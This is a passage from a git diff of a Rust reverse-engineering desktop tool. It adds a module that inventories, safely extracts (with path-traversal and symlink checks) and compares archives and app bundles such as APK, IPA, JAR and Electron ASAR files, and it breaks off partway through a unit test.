assert_eq!(p["result"]["recognised"], true); + assert!(p["summary"].as_str().unwrap().contains("react-native")); + let inv = call(&e, "core_archive_show", json!({"path": apk})).unwrap(); + let q = call(&e, "apple_app_graph_build", json!({"inventory": retained(&inv)})).unwrap(); + assert_eq!(q["result"]["recognised"], false); + assert_eq!(q["links"][0], inv["id"]); + let h = call(&e, "harmony_app_graph_build", json!({"path": apk})).unwrap(); + assert_eq!(h["confidence"], "inferred"); + } +} diff --git a/desktop/crates/engine/src/tools/artifact_tools.rs b/desktop/crates/engine/src/tools/artifact_tools.rs new file mode 100644 index 0000000..ee55650 --- /dev/null +++ b/desktop/crates/engine/src/tools/artifact_tools.rs @@ -0,0 +1,972 @@ +//! Artifacts: content-addressed inventories of archives and app bundles, safe extraction, and +//! comparison. Also hosts the filesystem and evidence-input helpers the JavaScript, web and +//! application tool modules share. + +use crate::tool::{CancelToken, Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use craft_anything_analysis::js_inventory::{InvLimits, Inventorier, Inventory, compare_inventories}; +use craft_anything_evidence::{ + Authority, Confidence, Coverage, Environment, ErrorCode, Evidence, EvidenceBuilder, Limitation, Location, Subject, ToolError, sha256_hex, +}; +use craft_anything_formats::{asar, zip}; +use schemars::JsonSchema; +use serde::Deserialize; +use serde_json::{Value, json}; +use std::io::Write as _; +use std::path::{Component, Path, PathBuf}; + +pub fn specs() -> Vec { + vec![ + ToolSpec { + id: "core_archive_show", + title: "Inventory an archive or app bundle", + summary: "Content-addressed inventory of a ZIP/APK/IPA/JAR, Electron ASAR, app bundle or folder: every file with size, kind, role and sha256; nested archives opened to a bounded depth; ASAR integrity hashes and ZIP CRCs checked. Paged (offset/limit).", + beginner: "List everything packed inside an app or archive, with a fingerprint for each file.", + toolset: Toolset::Core, + effects: Effects::EVIDENCE, + requires: Requires::Nothing, + input_schema: schema_of::, + run: core_archive_show, + }, + ToolSpec { + id: "core_archive_extract", + title: "Extract an archive", + summary: "Extract every regular file of a ZIP/APK/IPA/JAR or ASAR (plus its .asar.unpacked files) into a fresh private temporary folder chosen by REI Reverse Engineer, and return its path. Bounded size and count; entries that would escape the folder are refused.", + beginner: "Unpack an app or archive into a new folder so you can look at the files.", + toolset: Toolset::Core, + effects: Effects::MUTATES_SESSION.union(Effects::WRITES_FILESYSTEM), + requires: Requires::Nothing, + input_schema: schema_of::, + run: core_archive_extract, + }, + ToolSpec { + id: "core_archives_compare", + title: "Compare two artifacts", + summary: "Compare two archives, app bundles or folders file by file: added, removed, changed (by sha256) and moved files. Inputs are absolute paths or core_archive_show evidence.", + beginner: "See which files differ between two versions of an app or archive.", + toolset: Toolset::Core, + effects: Effects::EVIDENCE, + requires: Requires::Nothing, + input_schema: schema_of::, + run: core_archives_compare, + }, + ] +} + +// --------------------------------------------------------------------------------------------- +// Shared helpers + +/// `p` relative to `root` with `/` separators on every platform (bundle and archive paths are POSIX); +/// `p` as-is when it is not under `root`. +pub(crate) fn rel_to(root: &Path, p: &Path) -> String { + p.strip_prefix(root).map(|r| r.to_string_lossy().replace('\\', "/")).unwrap_or_else(|_| p.display().to_string()) +} + +/// Require an absolute path. +pub(crate) fn abs_path(p: &str, what: &str) -> Result { + let path = PathBuf::from(p); + if !path.is_absolute() { + return Err(ToolError::invalid(format!("{what} must be an absolute path, got {p:?}")) + .with_remediation("Pass the full path, for example /Users/me/Downloads/app.asar.")); + } + Ok(path) +} + +/// Read a whole file, refusing ones larger than `max`. +pub(crate) fn read_capped(path: &Path, max: u64) -> Result, ToolError> { + let meta = std::fs::metadata(path).map_err(|e| ToolError::io(path.display(), e))?; + if !meta.is_file() { + return Err(ToolError::invalid(format!("{} is not a regular file", path.display()))); + } + if meta.len() > max { + return Err(ToolError::new(ErrorCode::OverLimit, format!("{} is {} bytes; the limit is {max}", path.display(), meta.len())) + .with_remediation("Raise the size limit parameter if you really want to read it.")); + } + std::fs::read(path).map_err(|e| ToolError::io(path.display(), e)) +} + +/// One file found by [`walk_dir`]. +#[derive(Debug, Clone)] +pub(crate) struct WalkedFile { + /// Relative path with `/` separators. + pub rel: String, + pub abs: PathBuf, + pub size: u64, +} + +#[derive(Debug, Default)] +pub(crate) struct Walked { + pub files: Vec, + pub dirs: Vec, + pub links: Vec, + pub ignored: usize, + pub truncated: bool, + /// Folders below the root that couldn't be listed, as (relative path, reason) (#294). + pub unlisted: Vec<(String, String)>, +} + +/// A limitation naming the folders that couldn't be listed, as (path, reason), if any (#294). +pub(crate) fn unlisted_limitation(unlisted: &[(String, String)]) -> Option { + if unlisted.is_empty() { + return None; + } + let first = unlisted.iter().take(5).map(|(rel, e)| format!("{rel} ({e})")).collect::>().join(", "); + let more = unlisted.len().saturating_sub(5); + Some(Limitation::new( + "unlisted_folders", + format!( + "{} folder(s) couldn't be listed, so what they hold is missing: {first}{}", + unlisted.len(), + if more > 0 { format!(" and {more} more") } else { String::new() } + ), + )) +} + +pub(crate) struct WalkOptions<'a> { + pub max_files: usize, + pub max_depth: usize, + /// Skip a directory (relative path) entirely. + pub skip_dir: &'a dyn Fn(&str) -> bool, + /// Honour `.gitignore` files found on the way. + pub gitignore: bool, + pub include_hidden: bool, +} + +/// Walk a folder without following symbolic links. Bounded by file count and depth. +/// A root that can't be listed is an error; a folder below it that can't be is in `unlisted`. +pub(crate) fn walk_dir(root: &Path, opts: &WalkOptions<'_>, cancel: &CancelToken) -> Result { + let mut out = Walked::default(); + let mut ignore = craft_anything_analysis::js_source::Ignore::default(); + let mut stack: Vec<(PathBuf, String, usize)> = vec![(root.to_path_buf(), String::new(), 0)]; + let mut visited = 0usize; + while let Some((dir, rel, depth)) = stack.pop() { + cancel.check()?; + if opts.gitignore + && let Ok(text) = std::fs::read_to_string(dir.join(".gitignore")) + { + ignore.add_file(&rel, &text); + } + let entries = match std::fs::read_dir(&dir) { + Ok(e) => e, + Err(e) if rel.is_empty() => return Err(ToolError::io(dir.display(), e)), + Err(e) => { + out.unlisted.push((rel, e.to_string())); + continue; + } + }; + let mut names: Vec<(String, PathBuf)> = entries.flatten().map(|e| (e.file_name().to_string_lossy().into_owned(), e.path())).collect(); + names.sort(); + for (name, path) in names { + visited += 1; + if visited.is_multiple_of(256) { + cancel.check()?; + } + let child_rel = if rel.is_empty() { name.clone() } else { format!("{rel}/{name}") }; + if !opts.include_hidden && name.starts_with('.') && name != ".gitignore" { + out.ignored += 1; + continue; + } + let Ok(meta) = std::fs::symlink_metadata(&path) else { continue }; + let ft = meta.file_type(); + if ft.is_symlink() { + out.links.push(child_rel); + continue; + } + if ft.is_dir() { + if name == ".git" || (opts.skip_dir)(&child_rel) || (opts.gitignore && ignore.is_ignored(&child_rel, true)) { + out.ignored += 1; + continue; + } + if depth + 1 > opts.max_depth { + out.truncated = true; + continue; + } + out.dirs.push(child_rel.clone()); + stack.push((path, child_rel, depth + 1)); + } else if ft.is_file() { + if opts.gitignore && ignore.is_ignored(&child_rel, false) { + out.ignored += 1; + continue; + } + if out.files.len() >= opts.max_files { + out.truncated = true; + continue; + } + out.files.push(WalkedFile { rel: child_rel, abs: path, size: meta.len() }); + } + } + } + out.files.sort_by(|a, b| a.rel.cmp(&b.rel)); + Ok(out) +} + +/// Evidence passed inline, as `{"kind":"saved","evidence_id":…}`, or as a bare id. +pub(crate) fn resolve_evidence_input(ctx: &Ctx<'_>, v: &Value, expected: &[&str]) -> Result { + let ev = if let Some(id) = v.as_str() { + ctx.session.resolve_evidence(id)? + } else if v.get("kind").and_then(Value::as_str) == Some("saved") { + let id = v.get("evidence_id").and_then(Value::as_str).ok_or_else(|| ToolError::invalid("saved needs evidence_id"))?; + ctx.session.resolve_evidence(id)? + } else { + let e: Evidence = serde_json::from_value(v.clone()).map_err(|e| { + ToolError::invalid(format!("not an evidence record: {e}")) + .with_remediation("Pass the evidence object a tool returned, or {\"kind\":\"saved\",\"evidence_id\":\"ev_…\"}.") + })?; + if !e.verify() { + return Err(ToolError::new(ErrorCode::EvidenceHashMismatch, format!("evidence {} does not match its content", e.id)) + .with_remediation("Pass the record exactly as it was returned, or reference it by evidence_id.")); + } + e + }; + if !expected.is_empty() && !expected.contains(&ev.operation.as_str()) { + return Err(ToolError::invalid(format!("evidence {} came from {}, but this needs {}", ev.id, ev.operation, expected.join(" or ")))); + } + Ok(ev) +} + +/// True when a value names a path rather than evidence. +pub(crate) fn is_path_input(v: &Value) -> Option<&str> { + v.as_str().filter(|s| !craft_anything_evidence::is_evidence_id(s)) +} + +/// A unique id for a fresh folder name. +pub(crate) fn unique_suffix(seed: &str, attempt: u32) -> String { + let nanos = std::time::SystemTime::now().duration_since(std::time::UNIX_EPOCH).map(|d| d.as_nanos()).unwrap_or(0); + let h = sha256_hex(format!("{seed}|{}|{nanos}|{attempt}", std::process::id()).as_bytes()); + h.get(..16).unwrap_or(&h).to_string() +} + +/// Create a new private directory in the system temp folder. +pub(crate) fn fresh_temp_dir(prefix: &str) -> Result { + let base = std::env::temp_dir(); + for attempt in 0..16 { + let p = base.join(format!("{prefix}-{}", unique_suffix(prefix, attempt))); + #[cfg(unix)] + let b = { + use std::os::unix::fs::DirBuilderExt as _; + let mut b = std::fs::DirBuilder::new(); + b.mode(0o700); + b + }; + #[cfg(not(unix))] + let b = std::fs::DirBuilder::new(); + match b.create(&p) { + Ok(()) => return Ok(p), + Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => continue, + Err(e) => return Err(ToolError::io(p.display(), e)), + } + } + Err(ToolError::new(ErrorCode::FileError, "could not create a fresh temporary folder")) +} + +/// Create an output directory that must not exist yet (its parent must). +pub(crate) fn create_absent_dir(p: &str) -> Result { + let path = abs_path(p, "output_directory")?; + if std::fs::symlink_metadata(&path).is_ok() { + return Err( + ToolError::invalid(format!("{} already exists", path.display())).with_remediation("Choose a folder that does not exist yet; it will be created.") + ); + } + let parent = path.parent().ok_or_else(|| ToolError::invalid("output_directory has no parent folder"))?; + if !parent.is_dir() { + return Err(ToolError::invalid(format!("{} does not exist", parent.display()))); + } + std::fs::create_dir(&path).map_err(|e| ToolError::io(path.display(), e))?; + Ok(path) +} + +/// Removes a folder from [`create_absent_dir`] when the tool stops before writing anything into +/// it, so the same call can be retried (#234). Call `keep` once the tool has succeeded. +pub(crate) struct UnlessWritten<'a> { + dir: &'a Path, + keep: bool, +} + +impl<'a> UnlessWritten<'a> { + pub(crate) fn new(dir: &'a Path) -> Self { + UnlessWritten { dir, keep: false } + } + + pub(crate) fn keep(mut self) { + self.keep = true; + } +} + +impl Drop for UnlessWritten<'_> { + fn drop(&mut self) { + if !self.keep { + // remove_dir only removes an empty folder, so anything written stays. + let _ = std::fs::remove_dir(self.dir); + } + } +} + +/// Turn an archive member name into safe relative components, or explain why not. +pub(crate) fn safe_components(name: &str) -> Result, &'static str> { + if name.contains('\0') { + return Err("name contains a NUL byte"); + } + let norm = name.replace('\\', "/"); + if norm.starts_with('/') { + return Err("absolute path"); + } + let mut out = Vec::new(); + for c in norm.split('/') { + match c { + "" | "." => {} + ".." => return Err("path climbs out of the folder (..)"), + c if c.len() == 2 && c.ends_with(':') => return Err("drive-letter path"), + c => out.push(c.to_string()), + } + } + if out.is_empty() { + return Err("empty name"); + } + Ok(out) +} + +/// Write a file under `root`, never overwriting and never leaving `root`. +pub(crate) fn write_new_file(root: &Path, rel: &[String], bytes: &[u8]) -> Result { + let mut path = root.to_path_buf(); + for c in rel { + if matches!(Path::new(c).components().next(), Some(Component::Normal(_))) && Path::new(c).components().count() == 1 { + path.push(c); + } else { + return Err(format!("unsafe path component {c:?}")); + } + } + if let Some(parent) = path.parent() { + std::fs::create_dir_all(parent).map_err(|e| e.to_string())?; + // A component that already exists as a symlink would let a write escape. + let mut cur = root.to_path_buf(); + for c in rel.iter().take(rel.len().saturating_sub(1)) { + cur.push(c); + if std::fs::symlink_metadata(&cur).is_ok_and(|m| m.file_type().is_symlink()) { + return Err("a parent folder is a symbolic link".into()); + } + } + } + let mut f = std::fs::OpenOptions::new().write(true).create_new(true).open(&path).map_err(|e| e.to_string())?; + f.write_all(bytes).map_err(|e| e.to_string())?; + Ok(path) +} + +/// The evidence environment for built-in engines. +pub(crate) fn env(ctx: &Ctx<'_>) -> Environment { + Environment::builtin(ctx.session.clean_room()) +} + +// --------------------------------------------------------------------------------------------- +// Inventory + +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Deserialize, JsonSchema)] +#[serde(rename_all = "kebab-case")] +pub enum IntegrityPolicy { + /// Stop with an error when a recorded hash or checksum does not match the content. + #[default] + Fail, + /// Record mismatches as contradictions and keep going. + Continue, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct InspectArtifactParams { + /// Absolute path of the archive, app bundle or folder. Defaults to the active target. + #[serde(default)] + pub path: Option, + /// What to do when an ASAR integrity hash or ZIP CRC does not match. + #[serde(default)] + pub if_tampered: IntegrityPolicy, + /// First entry of the page. + #[serde(default)] + pub offset: usize, + /// Entries per page (1–20000). + #[serde(default = "default_inv_limit")] + pub limit: usize, + /// How deep nested archives are opened (0–6). + #[serde(default = "default_depth")] + pub max_depth: u32, + /// Most entries listed in total. + #[serde(default = "default_max_entries")] + pub max_entries: usize, + /// Most bytes read and hashed in total. + #[serde(default = "default_max_total")] + pub max_total_bytes: u64, +} + +fn default_inv_limit() -> usize { + 500 +} +fn default_depth() -> u32 { + 3 +} +fn default_max_entries() -> usize { + 200_000 +} +fn default_max_total() -> u64 { + 4 * 1024 * 1024 * 1024 +} + +/// Build an inventory of a path (file or folder). +pub(crate) fn inventory_path(path: &Path, limits: InvLimits, cancel: &CancelToken) -> Result<(Inventory, Subject), ToolError> { + inventory_path_unlisted(path, limits, cancel).map(|(inv, subject, _)| (inv, subject)) +} + +/// [`inventory_path`], also returning the folders that couldn't be listed, as (path, reason). +#[allow(clippy::type_complexity)] +fn inventory_path_unlisted(path: &Path, limits: InvLimits, cancel: &CancelToken) -> Result<(Inventory, Subject, Vec<(String, String)>), ToolError> { + let meta = std::fs::metadata(path).map_err(|e| ToolError::io(path.display(), e))?; + let name = path.file_name().map(|n| n.to_string_lossy().into_owned()).unwrap_or_else(|| path.display().to_string()); + let check = || cancel.is_cancelled(); + if meta.is_dir() { + let skip = |_: &str| false; + let walked = + walk_dir(path, &WalkOptions { max_files: limits.max_entries, max_depth: 64, skip_dir: &skip, gitignore: false, include_hidden: true }, cancel)?; + let mut inv = Inventorier::new(&name, "directory", limits, &check); + for d in &walked.dirs { + let failed = walked.unlisted.iter().find(|(rel, _)| rel == d); + inv.add_marker(d, "directory", 0, failed.map(|(_, e)| format!("couldn't be listed: {e}"))); + } + for l in &walked.links { + inv.add_marker(l, "link", 0, Some("symbolic link (not followed)".into())); + } + let mut total = 0u64; + for f in &walked.files { + cancel.check()?; + if total.saturating_add(f.size) > limits.max_total_bytes || f.size > limits.max_entry_bytes { + inv.add_marker(&f.rel, "unread", 0, Some("size budget reached".into())); + inv.inv.truncated = true; + continue; + } + match std::fs::read(&f.abs) { + Ok(b) => { + total += b.len() as u64; + inv.add_file(&f.rel, &b, 0).map_err(|_| ToolError::cancelled())?; + } + Err(e) => inv.add_marker(&f.rel, "unread", 0, Some(e.to_string())), + } + } + let mut out = inv.finish(); + out.truncated |= walked.truncated; + let id = out.content_id(); + let subject = Subject { kind: "directory".into(), sha256: Some(id.trim_start_matches("inv_").to_string()), name: Some(name) }; + return Ok((out, subject, walked.unlisted)); + } + let bytes = read_capped(path, limits.max_total_bytes.min(crate::target::MAX_TARGET_BYTES))?; + let kind = craft_anything_analysis::js_inventory::sniff_kind(&bytes, &name); + let mut inv = Inventorier::new(&name, kind, limits, &check); + let mut unlisted = Vec::new(); + match kind { + "zip" | "apk" | "ipa" | "jar" | "hap" | "msix" | "asar" => { + inv.add_archive("", &bytes, kind, 0).map_err(|_| ToolError::cancelled())?; + // Electron keeps some files next to the archive. + if kind == "asar" { + let unpacked = PathBuf::from(format!("{}.unpacked", path.display())); + if unpacked.is_dir() { + let skip = |_: &str| false; + let walked = walk_dir( + &unpacked, + &WalkOptions { max_files: limits.max_entries, max_depth: 64, skip_dir: &skip, gitignore: false, include_hidden: true }, + cancel, + )?; + unlisted.extend(walked.unlisted.into_iter().map(|(rel, e)| (format!("{name}.unpacked/{rel}"), e))); + for f in walked.files.iter().take(limits.max_entries) { + if let Ok(b) = std::fs::read(&f.abs) { + inv.add_file(&format!("{name}.unpacked/{}", f.rel), &b, 0).map_err(|_| ToolError::cancelled())?; + } + } + } + } + } + _ => inv.add_file(&name, &bytes, 0).map_err(|_| ToolError::cancelled())?, + } + Ok((inv.finish(), Subject { kind: kind.into(), sha256: Some(sha256_hex(&bytes)), name: Some(name) }, unlisted)) +} + +fn target_path(ctx: &Ctx<'_>, p: Option<&str>) -> Result { + match p { + Some(p) => abs_path(p, "path"), + None => Ok(ctx.session.active()?.target.path.clone()), + } +} + +fn integrity_error(inv: &Inventory) -> ToolError { + ToolError::new( + ErrorCode::FileHashMismatch, + format!("{} integrity contradiction(s), first: {}", inv.contradictions.len(), inv.contradictions.first().map(Value::to_string).unwrap_or_default()), + ) + .with_remediation("Pass if_tampered=continue to inventory it anyway and see every mismatch.") + .with_details(json!({"contradictions": inv.contradictions.iter().take(50).collect::>()})) +} + +fn show_limits(max_depth: u32, max_entries: usize, max_total_bytes: u64) -> InvLimits { + InvLimits { max_entries: max_entries.clamp(1, 1_000_000), max_depth: max_depth.min(6), max_total_bytes, ..InvLimits::default() } +} + +/// Re-read the path a core_archive_show record names and check it is unchanged, then return its inventory at `limits`. +/// The check uses the scope the record was made with, since a folder's id covers only the entries that scope lists. +pub(crate) fn recorded_inventory(ev: &Evidence, limits: InvLimits, cancel: &CancelToken) -> Result<(Inventory, Subject), ToolError> { + let path = ev.params.get("path").and_then(Value::as_str).ok_or_else(|| ToolError::invalid("inventory evidence has no path"))?; + let num = |k: &str| ev.params.get(k).and_then(Value::as_u64); + let recorded = show_limits( + num("max_depth").map_or(default_depth(), |v| u32::try_from(v).unwrap_or(u32::MAX)), + num("max_entries").map_or(default_max_entries(), |v| usize::try_from(v).unwrap_or(usize::MAX)), + num("max_total_bytes").unwrap_or_else(default_max_total), + ); + // A file's id is the hash of its bytes, whatever the scope; a folder's depends on the scope. + let check = if ev.subject.kind == "directory" { recorded } else { limits }; + let (inv, subject) = inventory_path(Path::new(path), check, cancel)?; + if subject.sha256 != ev.subject.sha256 { + return Err(ToolError::new(ErrorCode::FileChanged, format!("{path} changed since evidence {} was recorded", ev.id)) + .with_remediation("Run core_archive_show again, or pass the path directly.")); + } + if same_limits(&check, &limits) { + return Ok((inv, subject)); + } + inventory_path(Path::new(path), limits, cancel) +} + +fn same_limits(a: &InvLimits, b: &InvLimits) -> bool { + a.max_entries == b.max_entries + && a.max_depth == b.max_depth + && a.max_nested_bytes == b.max_nested_bytes + && a.max_entry_bytes == b.max_entry_bytes + && a.max_total_bytes == b.max_total_bytes +} + +fn core_archive_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: InspectArtifactParams = parse_params(params)?; + let path = target_path(ctx, p.path.as_deref())?; + let limits = show_limits(p.max_depth, p.max_entries, p.max_total_bytes); + ctx.report(None, format!("Inventorying {}", path.display())); + let (inv, subject, unlisted) = inventory_path_unlisted(&path, limits, &ctx.cancel)?; + let blocking = inv.contradictions.iter().any(|c| c.get("reason").and_then(Value::as_str).is_some_and(|r| r.contains("integrity") || r.contains("CRC"))); + if blocking && p.if_tampered == IntegrityPolicy::Fail { + return Err(integrity_error(&inv)); + } + let total = inv.entries.len(); + let limit = p.limit.clamp(1, 20_000); + let page: Vec<&craft_anything_analysis::js_inventory::InvEntry> = inv.entries.iter().skip(p.offset).take(limit).collect(); + let files = inv.entries.iter().filter(|e| e.sha256.is_some()).count(); + let summary = format!( + "{} ({}) holds {} files in {} entries{}; {} nested container(s){}.", + inv.root, + inv.root_kind, + files, + total, + if inv.truncated { " (listing cut short by a limit)" } else { "" }, + inv.containers.len().saturating_sub(1), + if inv.contradictions.is_empty() { String::new() } else { format!(", {} integrity contradiction(s)", inv.contradictions.len()) } + ); + let mut lims = Vec::new(); + if inv.truncated { + lims.push(Limitation::new( + "truncated", + "A size, count or depth limit stopped the inventory early; raise max_entries, max_total_bytes or max_depth to see more.", + )); + } + lims.extend(unlisted_limitation(&unlisted)); + lims.push(Limitation::new("no_disk_images", "Disk images (DMG), installers (PKG/MSI) and compressed tarballs are listed as single files, not opened.")); + let mut coverage = Coverage::page(page.len() as u64, total as u64, p.offset as u64); + if !unlisted.is_empty() { + coverage.status = craft_anything_evidence::CoverageStatus::Partial; + } + let ev = EvidenceBuilder::new("core_archive_show", subject, env(ctx)) + .params(json!({"path": path, "if_tampered": p.if_tampered == IntegrityPolicy::Fail, "offset": p.offset, "limit": limit, "max_depth": limits.max_depth, "max_entries": limits.max_entries, "max_total_bytes": limits.max_total_bytes})) + .result(json!({ + "path": path, + "root": inv.root, "root_kind": inv.root_kind, "content_id": inv.content_id(), + "files": files, "entries_total": total, "by_kind": inv.by_kind(), "hashed_bytes": inv.hashed_bytes, + "containers": inv.containers, "contradictions": inv.contradictions, "truncated": inv.truncated, + "entries": page, + })) + .summary(summary) + .confidence(Confidence::Observed) + .authority(Authority::OriginalFiles) + .limitations(lims) + .coverage(coverage) + .location(Location::new("path", path.display().to_string())) + .build()?; + Ok(ToolOutput::evidence(ev)) +} + +// --------------------------------------------------------------------------------------------- +// Extraction + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ExtractArtifactParams { + /// Absolute path of the ZIP/APK/IPA/JAR or ASAR. Defaults to the active target. + #[serde(default)] + pub path: Option, + /// What to do when an ASAR integrity hash or ZIP CRC does not match. + #[serde(default)] + pub if_tampered: IntegrityPolicy, + /// Most files written. + #[serde(default = "default_extract_files")] + pub max_files: usize, + /// Most bytes written in total. + #[serde(default = "default_max_total")] + pub max_bytes: u64, +} + +fn default_extract_files() -> usize { + 100_000 +} + +fn core_archive_extract(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ExtractArtifactParams = parse_params(params)?; + let path = target_path(ctx, p.path.as_deref())?; + if path.is_dir() { + return Err( + ToolError::unsupported(format!("{} is already a folder", path.display())).with_remediation("Folders don't need extracting; analyse them directly.") + ); + } + let bytes = read_capped(&path, crate::target::MAX_TARGET_BYTES)?; + let name = path.file_name().map(|n| n.to_string_lossy().into_owned()).unwrap_or_default(); + let kind = craft_anything_analysis::js_inventory::sniff_kind(&bytes, &name); + // Collect (name, bytes-or-error) without touching the disk first. + enum Member<'a> { + Data(&'a [u8]), + Owned(Vec), + Skip(String), + } + let mut members: Vec<(String, Member<'_>)> = Vec::new(); + let mut contradictions = Vec::new(); + match kind { + "asar" => { + let a = asar::parse(&bytes, p.max_files.saturating_mul(2)).map_err(|e| ToolError::new(ErrorCode::GarbledOutput, e.to_string()))?; + for r in &a.rejected_names { + members.push((r.clone(), Member::Skip("name could escape the folder".into()))); + } + for e in a.entries.iter().filter(|e| e.kind == asar::AsarKind::File) { + if e.unpacked { + let side = PathBuf::from(format!("{}.unpacked", path.display())); + match safe_components(&e.path) { + Ok(c) => { + let src = c.iter().fold(side, |acc, x| acc.join(x)); + match std::fs::symlink_metadata(&src) { + Ok(m) if m.is_file() && m.len() <= p.max_bytes => match std::fs::read(&src) { + Ok(b) => members.push((e.path.clone(), Member::Owned(b))), + Err(err) => members.push((e.path.clone(), Member::Skip(err.to_string()))), + }, + _ => members.push((e.path.clone(), Member::Skip("unpacked file not found beside the archive".into()))), + } + } + Err(r) => members.push((e.path.clone(), Member::Skip(r.into()))), + } + continue; + } + match asar::file_bytes(&bytes, &a, e) { + Some(d) => { + if let Some(i) = &e.integrity + && i.algorithm.eq_ignore_ascii_case("sha256") + && sha256_hex(d) != i.hash + { + contradictions.push(json!({"path": e.path, "reason": "ASAR integrity hash does not match"})); + } + members.push((e.path.clone(), Member::Data(d))); + } + None => members.push((e.path.clone(), Member::Skip("data lies outside the archive".into()))), + } + } + } + "zip" | "apk" | "ipa" | "jar" | "hap" | "msix" => { + let z = zip::parse(&bytes, p.max_files.saturating_mul(2)).map_err(|e| ToolError::new(ErrorCode::GarbledOutput, e.to_string()))?; + for e in z.entries.iter().filter(|e| !e.is_dir) { + match zip::read_entry(&bytes, e, p.max_bytes) { + Ok(d) => members.push((e.name.clone(), Member::Owned(d))), + Err(err @ zip::ZipError::CrcMismatch { .. }) => { + contradictions.push(json!({"path": e.name, "reason": err.to_string()})); + members.push((e.name.clone(), Member::Skip(err.to_string()))); + } + Err(err) => members.push((e.name.clone(), Member::Skip(err.to_string()))), + } + } + } + other => { + return Err(ToolError::unsupported(format!("{name} is a {other} file, not an archive this tool extracts")) + .with_remediation("core_archive_extract handles ZIP-based packages (zip, apk, ipa, jar, hap, msix) and Electron ASAR archives.")); + } + } + if !contradictions.is_empty() && p.if_tampered == IntegrityPolicy::Fail { + return Err(ToolError::new(ErrorCode::FileHashMismatch, format!("{} member(s) fail their integrity check", contradictions.len())) + .with_remediation("Pass if_tampered=continue to extract anyway.") + .with_details(json!({"contradictions": contradictions}))); + } + let out = fresh_temp_dir("craft-anything-extract")?; + let mut written = 0usize; + let mut total = 0u64; + let mut skipped = Vec::new(); + for (i, (mname, m)) in members.iter().enumerate() { + if i % 64 == 0 { + ctx.cancel.check()?; + } + let data: &[u8] = match m { + Member::Data(d) => d, + Member::Owned(d) => d, + Member::Skip(r) => { + skipped.push(json!({"path": mname, "reason": r})); + continue; + } + }; + if written >= p.max_files || total.saturating_add(data.len() as u64) > p.max_bytes { + skipped.push(json!({"path": mname, "reason": "file count or size limit reached"})); + continue; + } + let comps = match safe_components(mname) { + Ok(c) => c, + Err(r) => { + skipped.push(json!({"path": mname, "reason": r})); + continue; + } + }; + match write_new_file(&out, &comps, data) { + Ok(_) => { + written += 1; + total += data.len() as u64; + } + Err(r) => skipped.push(json!({"path": mname, "reason": r})), + } + } + let summary = format!( + "Extracted {written} files ({total} bytes) from {name} into {}{}.", + out.display(), + if skipped.is_empty() { String::new() } else { format!("; skipped {}", skipped.len()) } + ); + let ev = EvidenceBuilder::new("core_archive_extract", Subject { kind: kind.into(), sha256: Some(sha256_hex(&bytes)), name: Some(name) }, env(ctx)) + .params(json!({"path": path, "max_files": p.max_files, "max_bytes": p.max_bytes})) + .result(json!({"output_directory": out, "files_written": written, "bytes_written": total, "skipped": skipped.iter().take(2000).collect::>(), "contradictions": contradictions})) + .summary(summary) + .confidence(Confidence::Observed) + .limitation(Limitation::new("nested_not_extracted", "Archives inside the archive are written as files, not unpacked; run core_archive_extract on them.")) + .coverage(Coverage { status: if skipped.is_empty() { craft_anything_evidence::CoverageStatus::Complete } else { craft_anything_evidence::CoverageStatus::Partial }, examined: Some(written as u64), total: Some(members.len() as u64), next_offset: None }) + .location(Location::new("path", out.display().to_string()).with_label("output folder")) + .build()?; + Ok(ToolOutput::evidence(ev)) +} + +// --------------------------------------------------------------------------------------------- +// Compare + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct CompareArtifactsParams { + /// The older artifact: an absolute path, or core_archive_show evidence (inline or {"kind":"saved","evidence_id":…}). + pub left: Value, + /// The newer artifact, in the same forms. + pub right: Value, + /// Most rows per list. + #[serde(default = "default_rows")] + pub max_rows: usize, +} + +fn default_rows() -> usize { + 500 +} + +fn inventory_input(ctx: &Ctx<'_>, v: &Value) -> Result<(Inventory, Option), ToolError> { + if let Some(p) = is_path_input(v) { + let (inv, _) = inventory_path(&abs_path(p, "path")?, InvLimits::default(), &ctx.cancel)?; + return Ok((inv, None)); + } + let ev = resolve_evidence_input(ctx, v, &["core_archive_show"])?; + // Evidence holds one page; re-read the recorded path for the full inventory and check it is unchanged. + let (inv, _) = recorded_inventory(&ev, InvLimits::default(), &ctx.cancel)?; + Ok((inv, Some(ev.id))) +} + +fn core_archives_compare(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: CompareArtifactsParams = parse_params(params)?; + let (l, lid) = inventory_input(ctx, &p.left)?; + ctx.cancel.check()?; + let (r, rid) = inventory_input(ctx, &p.right)?; + let d = compare_inventories(&l, &r, p.max_rows.clamp(1, 100_000)); + let c = &d["counts"]; + let summary = format!( + "{} → {}: {} added, {} removed, {} changed, {} moved, {} unchanged.", + l.root, r.root, c["added"], c["removed"], c["changed"], c["moved"], c["unchanged"] + ); + let mut b = EvidenceBuilder::new( + "core_archives_compare", + Subject { kind: "artifact-pair".into(), sha256: None, name: Some(format!("{} vs {}", l.root, r.root)) }, + env(ctx), + ) + .params(json!({"left": l.content_id(), "right": r.content_id()})) + .result(d) + .summary(summary) + .confidence(Confidence::Derived); + if l.truncated || r.truncated { + b = b.limitation(Limitation::new("truncated", "One inventory was cut short by a limit; files beyond it are not compared.")); + } + for id in [lid, rid].into_iter().flatten() { + b = b.link(id); + } + Ok(ToolOutput::evidence(b.build()?)) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::{CallOptions, Caller, Engine}; + use craft_anything_testkit::electron as fx; + + fn call(e: &Engine, id: &str, p: Value) -> Result { + e.call(id, p, CallOptions::new(Caller::Cli)).map(|o| o.to_json()) + } + + #[test] + fn inventory_and_extract_asar() { + let dir = tempfile::tempdir().unwrap(); + let a = dir.path().join("app.asar"); + std::fs::write(&a, fx::notes_app_asar()).unwrap(); + let e = Engine::new(crate::testing::session()); + let inv = call(&e, "core_archive_show", json!({"path": a})).unwrap(); + assert_eq!(inv["result"]["root_kind"], "asar"); + assert_eq!(inv["result"]["files"], 5); + assert!(inv["result"]["entries"].as_array().unwrap().iter().any(|x| x["path"] == "renderer/app.js" && x["kind"] == "javascript")); + let page = call(&e, 